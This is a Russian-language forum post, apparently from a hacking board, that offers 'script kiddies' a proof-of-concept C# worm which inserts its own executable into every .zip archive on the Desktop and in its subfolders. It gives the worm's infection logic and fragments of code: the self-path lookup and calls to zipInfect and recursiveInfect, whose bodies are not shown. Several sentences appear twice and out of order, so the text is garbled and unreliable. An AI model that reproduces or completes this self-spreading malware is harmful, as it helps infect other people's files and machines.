- Автор темы
- #1
Привет, скрипт-кидди брат. Сегодня я покажу тебе Proof-Of-Concept мини-червя, который добавляет себя во все .zip архивы.
Начнём.
Логика нашего червя:
И создаём рекурсивный метод, который будет заражать все подпапки:
Затем вызываем методы:
И теперь тестим:
Как видим, в архивах появился наш файлик.
Начнём.
Логика нашего червя:
- Ищем все zip файлы в папке
- Добавляем своё отродье в архив
- Повторяем тоже самое со всеми файлами. (рекурсией)

И создаём рекурсивный метод, который будет заражать все подпапки:

C#:
string currentFilePath = Assembly.GetExecutingAssembly().Location,
desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
Затем вызываем методы:
C#:
zipInfect(new DirectoryInfo(desktopPath), currentFilePath); // Заражаем архивы на рабочем столе
recursiveInfect(desktopPath, currentFilePath); // И в подпапках
И теперь тестим:


Как видим, в архивах появился наш файлик.